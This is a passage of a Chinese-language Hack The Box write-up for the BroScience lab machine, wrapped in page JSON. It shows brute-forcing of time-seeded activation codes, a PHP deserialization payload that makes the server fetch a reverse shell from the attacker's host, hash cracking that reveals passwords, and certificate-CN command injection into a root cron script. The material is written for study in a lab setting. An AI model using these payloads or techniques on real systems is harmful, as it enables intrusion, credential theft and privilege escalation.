$ while true; do php time.php; sleep 0.5; done\niV9B6y1GdcKtJEsxwDgRxcvnL4rpPA0Z\n0GM1A5jQc5BsTTmkDGJWKlQGuMMxHbbm\n0GM1A5jQc5BsTTmkDGJWKlQGuMMxHbbm\nSLpq0XhxTmO0hIU2SznksSGOKlgxoU7G\nSLpq0XhxTmO0hIU2SznksSGOKlgxoU7G\n9xg3Xsgdh0s8u2recEh7ihnCuiMNBvFc\n9xg3Xsgdh0s8u2recEh7ihnCuiMNBvFc\n

","text":"$$ while true; do php time.php; sleep 0.5; done iV9B6y1GdcKtJEsxwDgRxcvnL4rpPA0Z 0GM1A5jQc5BsTTmkDGJWKlQGuMMxHbbm 0GM1A5jQc5BsTTmkDGJWKlQGuMMxHbbm SLpq0XhxTmO0hIU2SznksSGOKlgxoU7G SLpq0XhxTmO0hIU2SznksSGOKlgxoU7G 9xg3Xsgdh0s8u2recEh7ihnCuiMNBvFc 9xg3Xsgdh0s8u2recEh7ihnCuiMNBvFc"},{"id":"b80","type":"paragraph","html":"

因此圍繞啟用碼生成時間暴力存取啟用連結是可行的。寫個腳本，我們只需要輸入日期即可輸出對應範圍內的啟用碼：

","text":"因此圍繞啟用碼生成時間暴力存取啟用連結是可行的。寫個腳本，我們只需要輸入日期即可輸出對應範圍內的啟用碼："},{"id":"b81","type":"paragraph","html":"

<?php\nfunction generate_activation_code($time) {\n    $chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n    srand($time);\n    $activation_code = \"\";\n    for ($i = 0; $i < 32; $i++) {\n        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];\n    }\n    return $activation_code;\n}\n \n$time = strtotime(\"$argv[1]\");\nfor ($t = $time - 10; $t <= $time + 5; $t++) {\n    $activation_code = generate_activation_code($t);\n    echo $activation_code . \"\\n\";\n}\n \n?>\n

","text":""},{"id":"b82","type":"paragraph","html":"

接著送出註冊請求：

","text":"接著送出註冊請求："},{"id":"b84","type":"paragraph","html":"

$ php time.php 'Tue, 01 Sep 2026 11:27:50 GMT' > inv_codes.txt\n\n$ ffuf -w inv_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' -fr Invalid\n...<SNIP>...\n0og2gnKLVKkpGneAN6MYE1VJsOkUTjJB [Status: 200, Size: 1251, Words: 292, Lines: 28, Duration: 183ms]\n:: Progress: [16/16] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::\n

","text":"$$ php time.php 'Tue, 01 Sep 2026 11:27:50 GMT' > inv_codes.txt $ ffuf -w inv_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' -fr Invalid ...... 0og2gnKLVKkpGneAN6MYE1VJsOkUTjJB [Status: 200, Size: 1251, Words: 292, Lines: 28, Duration: 183ms] :: Progress: [16/16] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::"},{"id":"b85","type":"paragraph","html":"

接著用 aoeu:aoeu 就成功登入了：

","text":"接著用 aoeu:aoeu 就成功登入了："},{"id":"b87","type":"quote","html":"

\n\n \n
是說我隔天起床發現 aoeu 不能登入了，連先前的留言都不見了，看來有個定期腳本在刪除新的帳號。
\n \n \n

","text":"是說我隔天起床發現 aoeu 不能登入了，連先前的留言都不見了，看來有個定期腳本在刪除新的帳號。"},{"id":"b88","type":"heading","html":"

PHP 反序列化（PHP Deserialization）

","text":"PHP 反序列化（PHP Deserialization）"},{"id":"b89","type":"paragraph","html":"

如果繼續挖掘 utils.php，還能看到兩個功能，一個是設定網頁主題，另一個則是未完成的頭貼功能。在 get_theme 中它無條件 unserialize 登入使用者 $_COOKIE['user-prefs'] 的值：

","text":"如果繼續挖掘 utils.php，還能看到兩個功能，一個是設定網頁主題，另一個則是未完成的頭貼功能。在 get_theme 中它無條件 unserialize 登入使用者 $_COOKIE['user-prefs'] 的值："},{"id":"b90","type":"paragraph","html":"

function get_theme() {\n    if (isset($_SESSION['id'])) {\n        if (!isset($_COOKIE['user-prefs'])) {\n            $up_cookie = base64_encode(serialize(new UserPrefs()));\n            setcookie('user-prefs', $up_cookie);\n        } else {\n            $up_cookie = $_COOKIE['user-prefs'];\n        }\n        // vuln!\n        $up = unserialize(base64_decode($up_cookie));\n        return $up->theme;\n    } else {\n        return \"light\";\n    }\n}

","text":"function get_theme() { if (isset($_SESSION['id'])) { if (!isset($_COOKIE['user-prefs'])) { $up_cookie = base64_encode(serialize(new UserPrefs())); setcookie('user-prefs', $up_cookie); } else { $up_cookie = $_COOKIE['user-prefs']; } // vuln! $up = unserialize(base64_decode($up_cookie)); return $up->theme; } else { return \"light\"; } }"},{"id":"b91","type":"paragraph","html":"

如果不知道這啥的可以看 IppSec 的這隻影片（我就是看這隻影片才搞懂的 xD）：

","text":"如果不知道這啥的可以看 IppSec 的這隻影片（我就是看這隻影片才搞懂的 xD）："},{"id":"b93","type":"paragraph","html":"

總之 AvatarInterface 剛好提供我們儲存檔案的 Gadget，在 __wakeup 會自動儲存放在 imgPath 的圖片：

","text":"總之 AvatarInterface 剛好提供我們儲存檔案的 Gadget，在 __wakeup 會自動儲存放在 imgPath 的圖片："},{"id":"b94","type":"paragraph","html":"

class Avatar {\n    public $imgPath;\n \n    public function __construct($imgPath) {\n        $this->imgPath = $imgPath;\n    }\n \n    public function save($tmp) {\n        $f = fopen($this->imgPath, \"w\");\n        fwrite($f, file_get_contents($tmp));\n        fclose($f);\n    }\n}\n \nclass AvatarInterface {\n    public $tmp;\n    public $imgPath; \n \n    public function __wakeup() {\n        $a = new Avatar($this->imgPath);\n        $a->save($this->tmp);\n    }\n}

","text":"class Avatar { public $imgPath; public function __construct($imgPath) { $this->imgPath = $imgPath; } public function save($tmp) { $f = fopen($this->imgPath, \"w\"); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp; public $imgPath; public function __wakeup() { $a = new Avatar($this->imgPath); $a->save($this->tmp); } }"},{"id":"b95","type":"paragraph","html":"

故我們只需在 tmp 和 imgPath 放惡意值即可，從 revshells 幹來 Ivan Sincek 當 shell.php，接著序列化：

","text":"故我們只需在 tmp 和 imgPath 放惡意值即可，從 revshells 幹來 Ivan Sincek 當 shell.php，接著序列化："},{"id":"b96","type":"paragraph","html":"

<?php\n \nclass AvatarInterface {\n    public $tmp = 'http://10.10.17.56:6060/shell.php';\n    public $imgPath = '/var/www/html/shell.php'; \n}\n \necho base64_encode(serialize(new AvatarInterface())) . \"\\n\";\n \n?>

","text":""},{"id":"b97","type":"paragraph","html":"

$ php shell_serial.php\nTzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMzoiaHR0cDovLzEwLjEwLjE3LjU2OjYwNjAvc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MjM6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjt9\n

","text":"$$ php shell_serial.php TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMzoiaHR0cDovLzEwLjEwLjE3LjU2OjYwNjAvc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MjM6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjt9"},{"id":"b98","type":"paragraph","html":"

先在本機開好 Server 後，把它放進 user-prefs：

","text":"先在本機開好 Server 後，把它放進 user-prefs："},{"id":"b100","type":"paragraph","html":"

在重新整理後它就會跟我們拿 shell.php 了：

","text":"在重新整理後它就會跟我們拿 shell.php 了："},{"id":"b101","type":"paragraph","html":"

$ python3 -m http.server 6060\nServing HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...\n10.129.228.129 - - [02/Sep/2026 09:27:33] \"GET /shell.php HTTP/1.0\" 200 -\n10.129.228.129 - - [02/Sep/2026 09:27:33] \"GET /shell.php HTTP/1.0\" 200 -\n10.129.228.129 - - [02/Sep/2026 09:27:34] \"GET /shell.php HTTP/1.0\" 200 -\n

","text":"$$ python3 -m http.server 6060 Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ... 10.129.228.129 - - [02/Sep/2026 09:27:33] \"GET /shell.php HTTP/1.0\" 200 - 10.129.228.129 - - [02/Sep/2026 09:27:33] \"GET /shell.php HTTP/1.0\" 200 - 10.129.228.129 - - [02/Sep/2026 09:27:34] \"GET /shell.php HTTP/1.0\" 200 -"},{"id":"b102","type":"paragraph","html":"

去 /shell.php 以後我們的 nc 就有回應了：

","text":"去 /shell.php 以後我們的 nc 就有回應了："},{"id":"b103","type":"paragraph","html":"

$ nc -lvnp 6061\nlistening on [any] 6061 ...\nconnect to [10.10.17.56] from (UNKNOWN) [10.129.35.89] 43176\nSOCKET: Shell has connected! PID: 11215\n\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n

","text":"$$ nc -lvnp 6061 listening on [any] 6061 ... connect to [10.10.17.56] from (UNKNOWN) [10.129.35.89] 43176 SOCKET: Shell has connected! PID: 11215 id uid=33(www-data) gid=33(www-data) groups=33(www-data)"},{"id":"b104","type":"paragraph","html":"

有個叫 bill 的使用者，user.txt 在他的目錄下：

","text":"有個叫 bill 的使用者，user.txt 在他的目錄下："},{"id":"b105","type":"paragraph","html":"

www-data@broscience:/var/www/html$ ls /home/\nbill\nwww-data@broscience:/var/www/html$ ls /home/bill/\nCerts    Documents  Music     Public     Videos\nDesktop  Downloads  Pictures  Templates  user.txt\nwww-data@broscience:/var/www/html$ cat /home/bill/user.txt \ncat: /home/bill/user.txt: Permission denied\n

","text":"www-data@broscience:/var/www/html$ ls /home/ bill www-data@broscience:/var/www/html$ ls /home/bill/ Certs Documents Music Public Videos Desktop Downloads Pictures Templates user.txt www-data@broscience:/var/www/html$ cat /home/bill/user.txt cat: /home/bill/user.txt: Permission denied"},{"id":"b106","type":"heading","html":"

資料庫

","text":"資料庫"},{"id":"b107","type":"paragraph","html":"

我們在 db_connect.php 就看到端口 5432 的 psql 和其帳密了，所以直接去看：

","text":"我們在 db_connect.php 就看到端口 5432 的 psql 和其帳密了，所以直接去看："},{"id":"b108","type":"paragraph","html":"

www-data@broscience:/var/www/html$ psql -h localhost -p 5432 -d broscience -U dbuser\nPassword for user dbuser:\npsql (13.9 (Debian 13.9-0+deb11u1))\nSSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)\nType \"help\" for help.\n\nbroscience=>\n

","text":"www-data@broscience:/var/www/html$ psql -h localhost -p 5432 -d broscience -U dbuser Password for user dbuser: psql (13.9 (Debian 13.9-0+deb11u1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type \"help\" for help. broscience=>"},{"id":"b109","type":"paragraph","html":"

基本枚舉後就看到大家的帳號密碼了：

","text":"基本枚舉後就看到大家的帳號密碼了："},{"id":"b110","type":"paragraph","html":"

broscience=> \\dn\n  List of schemas\n  Name  |  Owner\n--------+----------\n public | postgres\n(1 row)\n

","text":"broscience=> \\dn List of schemas Name | Owner --------+---------- public | postgres (1 row)"},{"id":"b111","type":"paragraph","html":"

broscience=> \\dt\n           List of relations\n Schema |   Name    | Type  |  Owner\n--------+-----------+-------+----------\n public | comments  | table | postgres\n public | exercises | table | postgres\n public | users     | table | postgres\n(3 rows)\n

","text":"broscience=> \\dt List of relations Schema | Name | Type | Owner --------+-----------+-------+---------- public | comments | table | postgres public | exercises | table | postgres public | users | table | postgres (3 rows)"},{"id":"b112","type":"paragraph","html":"$1e","text":"$1f"},{"id":"b113","type":"paragraph","html":"

把雜湊和對應的鹽準備好：

","text":"把雜湊和對應的鹽準備好："},{"id":"b114","type":"paragraph","html":"

$ cat hashes.txt\n15657792073e8a843d4f91fc403454e1:NaCl\n13edad4932da9dbb57d9cd15b66ed104:NaCl\nbd3dad50e2d578ecba87d5fa15ca5f85:NaCl\na7eed23a7be6fe0d765197b1027453fe:NaCl\n5d15340bded5b9395d5d14b9c21bc82b:NaCl\n

","text":"$$ cat hashes.txt 15657792073e8a843d4f91fc403454e1:NaCl 13edad4932da9dbb57d9cd15b66ed104:NaCl bd3dad50e2d578ecba87d5fa15ca5f85:NaCl a7eed23a7be6fe0d765197b1027453fe:NaCl 5d15340bded5b9395d5d14b9c21bc82b:NaCl"},{"id":"b115","type":"paragraph","html":"

接著放進 hashcat 爆破：

","text":"接著放進 hashcat 爆破："},{"id":"b116","type":"quote","html":"

\n\n \n
記得用 -m 20 而不是 10，因為在原始 register.php 我們用的是 md5($db_salt . $_POST['password'])。
\n \n \n

","text":"記得用 -m 20 而不是 10，因為在原始 register.php 我們用的是 md5($db_salt . $_POST['password'])。"},{"id":"b117","type":"paragraph","html":"

$ hashcat -m 20 -a 0 ./hashes.txt ~/Shared/wordlists/rockyou.txt\n...<SNIP>...\n13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym\n5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest\nbd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples\nApproaching final keyspace - workload adjusted.\n\n\nSession..........: hashcat\nStatus...........: Exhausted\nHash.Mode........: 20 (md5($salt.$pass))\nHash.Target......: ./hashes.txt\n...<SNIP>...\n

","text":"$$ hashcat -m 20 -a 0 ./hashes.txt ~/Shared/wordlists/rockyou.txt ...... 13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym 5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Mode........: 20 (md5($salt.$pass)) Hash.Target......: ./hashes.txt ......"},{"id":"b118","type":"paragraph","html":"

剛好就看到 bill 的密碼 iluvhorsesandgym 了，直接從 SSH 登入就可以進去了：

","text":"剛好就看到 bill 的密碼 iluvhorsesandgym 了，直接從 SSH 登入就可以進去了："},{"id":"b119","type":"paragraph","html":"

$ ssh bill@broscience.htb\n...<SNIP>...\n\nbill@broscience:~$ cat user.txt\n592c************************4e39\n

","text":"$$ ssh bill@broscience.htb ...... bill@broscience:~$ cat user.txt 592c************************4e39"},{"id":"b120","type":"heading","html":"

PrivEsc

","text":"PrivEsc"},{"id":"b121","type":"paragraph","html":"

既然有密碼，那先看看 sudo -l：

","text":"既然有密碼，那先看看 sudo -l："},{"id":"b122","type":"paragraph","html":"

bill@broscience:~$ sudo -l\n[sudo] password for bill:\nSorry, user bill may not run sudo on broscience.\n

","text":"bill@broscience:~$ sudo -l [sudo] password for bill: Sorry, user bill may not run sudo on broscience."},{"id":"b123","type":"paragraph","html":"

好喔，直接丟 linpeas.sh 開炸，一番搜尋以後翻到了這個怪怪的腳本：

","text":"好喔，直接丟 linpeas.sh 開炸，一番搜尋以後翻到了這個怪怪的腳本："},{"id":"b124","type":"paragraph","html":"

╔══════════╣ Unexpected in /opt (usually empty) (T1083)\ntotal 12\ndrwxr-xr-x  2 root root 4096 Jul 14  2022 .\ndrwxr-xr-x 19 root root 4096 Jan  2  2023 ..\n-rwxr-xr-x  1 root root 1806 Jul 14  2022 renew_cert.sh\n

","text":"╔══════════╣ Unexpected in /opt (usually empty) (T1083) total 12 drwxr-xr-x 2 root root 4096 Jul 14 2022 . drwxr-xr-x 19 root root 4096 Jan 2 2023 .. -rwxr-xr-x 1 root root 1806 Jul 14 2022 renew_cert.sh"},{"id":"b125","type":"paragraph","html":"

進去看了一下，該腳本檢查指定憑證是否在一天內過期，若是則更新該憑證。但裡面有個問題，我們在 CN 裡面放任何東西它都會接受，把腳本簡化後長這樣：

","text":"進去看了一下，該腳本檢查指定憑證是否在一天內過期，若是則更新該憑證。但裡面有個問題，我們在 CN 裡面放任何東西它都會接受，把腳本簡化後長這樣："},{"id":"b126","type":"paragraph","html":"

subject=$(openssl x509 -in $1 -noout -subject | cut -d \"=\" -f2-)\ncommonName=$(echo $subject | grep -Eo 'CN = .*,?')\ncommonName=$(echo ${commonName:5} | awk -F, '{print $1}')\n \n# $commonName was not filtered\n/bin/bash -c \"mv /tmp/temp.crt /home/bill/Certs/$commonName.crt\"

","text":"subject=$(openssl x509 -in $1 -noout -subject | cut -d \"=\" -f2-) commonName=$(echo $subject | grep -Eo 'CN = .*,?') commonName=$(echo ${commonName:5} | awk -F, '{print $1}') # $commonName was not filtered /bin/bash -c \"mv /tmp/temp.crt /home/bill/Certs/$commonName.crt\""},{"id":"b127","type":"paragraph","html":"

接下來就看有沒有排程會用 root 權限執行該腳本，所以我丟了 pspy64 進去，結果還真的有：

","text":"接下來就看有沒有排程會用 root 權限執行該腳本，所以我丟了 pspy64 進去，結果還真的有："},{"id":"b128","type":"paragraph","html":"

bill@broscience:~$ ./pspy64\n...<SNIP>...\n2026/09/01 21:40:01 CMD: UID=0     PID=11286  | /bin/bash /root/cron.sh\n2026/09/01 21:40:01 CMD: UID=0     PID=11288  | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt\n...<SNIP>...\n

","text":"bill@broscience:~$ ./pspy64 ...... 2026/09/01 21:40:01 CMD: UID=0 PID=11286 | /bin/bash /root/cron.sh 2026/09/01 21:40:01 CMD: UID=0 PID=11288 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt ......"},{"id":"b129","type":"paragraph","html":"

直接安排：

","text":"直接安排："},{"id":"b130","type":"paragraph","html":"

bill@broscience:~$ openssl req -x509 -newkey rsa:2048 -nodes -out /home/bill/Certs/broscience.crt -days 1 -subj '/C=aa/ST=b/O=a/CN=d$(cp \\/bin\\/bash \\/tmp\\/abb;chmod 4777 \\/tmp\\/abb)'\nGenerating a RSA private key\n...................................+++++\n.....................................................................+++++\nwriting new private key to 'privkey.pem'\n-----\n

","text":"bill@broscience:~$ openssl req -x509 -newkey rsa:2048 -nodes -out /home/bill/Certs/broscience.crt -days 1 -subj '/C=aa/ST=b/O=a/CN=d$(cp \\/bin\\/bash \\/tmp\\/abb;chmod 4777 \\/tmp\\/abb)' Generating a RSA private key ...................................+++++ .....................................................................+++++ writing new private key to 'privkey.pem' -----"},{"id":"b131","type":"quote","html":"$20","text":"也可以用互動式輸入，就不用反斜線了： bill@broscience:~$ openssl req -x509 -newkey rsa:2048 -nodes -out /home/bill/Certs/broscience.crt Generating a RSA private key ...................+++++ ...........................................................................................................+++++ writing new private key to 'privkey.pem' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb) Email Address []:"},{"id":"b132","type":"paragraph","html":"

等一段時間後就拿到 root shell 啦：

","text":"等一段時間後就拿到 root shell 啦："},{"id":"b133","type":"paragraph","html":"

bill@broscience:~$ ls /tmp/abb\n/tmp/abb\nbill@broscience:~$ /tmp/abb -p\n\nabb-5.1# id\nuid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill)\n\nabb-5.1# cd /root\nabb-5.1# ls -al root.txt\n-rw-r----- 1 root root 33 Aug 31 11:23 root.txt\n\nabb-5.1# cat root.txt\n69ff************************70d6\nabb-5.1#\n

","text":"bill@broscience:~$ ls /tmp/abb /tmp/abb bill@broscience:~$ /tmp/abb -p abb-5.1# id uid=1000(bill) gid=1000(bill) euid=0(root) groups=1000(bill) abb-5.1# cd /root abb-5.1# ls -al root.txt -rw-r----- 1 root root 33 Aug 31 11:23 root.txt abb-5.1# cat root.txt 69ff************************70d6 abb-5.1#"}],"source":"$0:f:0:1:0:props:children:props:children:1:props:children:props:children:props:children:0:props:sources:243","originalUrl":"https://blog.abb00717.com/%E7%B4%80%E9%8C%84/Hack-The-Box/Machines/BroScience","excerpt":"在 BroScience 網站中我們發現 img.php 存在路徑穿越，透過原始碼發現啟用碼可以暴力破解，啟用帳號後再利用反序列化漏洞取得 www-data 的 shell。接著從資料庫撈出密碼雜湊，破解 bill 的密碼並 SSH 登入。至於 root，我們發現某個 root cron 執行腳本存在 Command Injection，生成惡意憑證以後即可取得 root shell。"},"shouldTranslate":true}],"$L21"]}]